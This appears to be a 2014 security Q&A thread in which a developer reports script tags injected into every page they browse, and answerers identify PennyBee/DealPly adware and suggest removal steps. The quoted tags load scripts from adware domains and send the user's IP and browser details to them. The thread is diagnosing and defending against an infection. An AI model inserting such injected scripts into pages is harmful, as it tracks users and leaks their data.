6

I was testing my Node.JS application. When I opened my app using Chrome and Mozilla, I saw these JS files included in every page I browse. They appear in all browsers I use (Firefox, Chrome).

<script type="text/javascript" src="http://j.midnightjs.net/omeltest/common.js?appTitle=PennyBee&amp;channel=chkomel68&amp;hid=v460b5b79c-980c-e17f-cdcc-eaf6cd83c8d5"></script>
<script src="//q.pricejs.info/e?type=quick&amp;topic=suzan_commonjs&amp;partner=omeltest&amp;channel=chkomel68&amp;hid=v460b5b79c-980c-e17f-cdcc-eaf6cd83c8d5&amp;trinity=Z15e3d535a5k&amp;appTitle=PennyBee&amp;opdom=midnightjs.net&amp;instgrp=&amp;rnd=0.5035031025763601&amp;guid=" type="text/javascript"></script>
<script src="//h.midnightjs.net/e?type=heart_bit&amp;partner=omeltest&amp;channel=chkomel68&amp;hid=v460b5b79c-980c-e17f-cdcc-eaf6cd83c8d5&amp;trinity=Z15e3d535a5k&amp;appTitle=PennyBee&amp;opdom=midnightjs.net&amp;instgrp=&amp;sset=4&amp;cb=114_9_25&amp;src=midn8&amp;userAgent=Mozilla%2F5.0%20(Windows%20NT%206.1%3B%20WOW64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F38.0.2125.104%20Safari%2F537.36" type="text/javascript"></script>
<script src="http://i.omeljs.info/omeltest/javascript.js?channel=chkomel68&amp;hid=v460b5b79c-980c-e17f-cdcc-eaf6cd83c8d5&amp;instgrp=&amp;trinity=Z15e3d535a5k" type="text/javascript"></script> 
<script src="http://i.omeljs.info/opt_content.js?v=opt_1412683513880&amp;partner=omeltest&amp;channel=omeltestchkomel68&amp;sset=8&amp;appTitle=&amp;sset=8&amp;ip=5.47.69.10"></script>
<script src="http://c.omeljs.info/1507367.js?dn=10.6&amp;isc=0" type="text/javascript" id="__DealPly__222918.92021894455" class="dealply_content_script"></script>

I noticed those links are sending my IP and other data to remote servers. Is this a virus and how can I get rid of it?

  • 1
    When they appear in every browser you use, they might originate from a man-in-the-middle attack. – Philipp Oct 25 '14 at 13:31
10

It looks like your desktop is infected with PennyBee (aka DealPly, OfferBoulevard, SavingsBull) adware.

In theory this can usually be removed by using the Add/Remove Programs entry and the extensions/add-ons managers in Chrome and Firefox. However, if you were unknowingly infected by this (likely: via the InstallCore/OpenCandy/DownloadAdmin bundling programme run by IronSource/Injekt, part of the group as runs PennyBee et al), who knows what else has been installed? Might be worth considering a fresh install.

0

This appears to be a browser adware infection. These adwares act like Man-in-the-Browser and they get activated on certain events like mouse-click. Once the event is triggered, they generate traffic to arbitrary website. To get rid of this, consider re-installing your web browser. To get a more close look, try looking at the different plugins installed in your browser. If you find any suspicious plugin that got installed accidentally, disable it immediately. But this will not be a permanent solution. Switching to a different browser that was installed before infection happened will also not help as these programs usually install themselves on all browsers available on the machine.

0

To see if this infection is wider than your browser install, create a new user, browse some websites and see if the new user gets infected too. In that case cleaning your browser won't help.

-1

I wouldn't be able to comment on the whether the JS latched on to your browsing sessions is in fact malicious or not, but I can offer some advice that will give you more control of the attack surface your FireFox browser presents to potential adversaries.

If you have any doubt about the trustworthiness (or rather malicious intent) of a URI try looking it up on sites like https://www.virustotal.com/ (for more sites that offer a similar service try Googling this: "related:www.virustotal.com" ).

Also, seeing that this is a JS issue; you could try installing the NoScript plugin for FireFox. This plugin gives you control over which browser origins are allowed to run JS and other active content in your browser. And if you're concerned about being tracked and leaking data about your activity to weird unknown websites you could try using the Lightbeam plugin for Firefox.

  • 1
    I'm not sure that you understood the question ... – schroeder Oct 26 '14 at 21:22

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.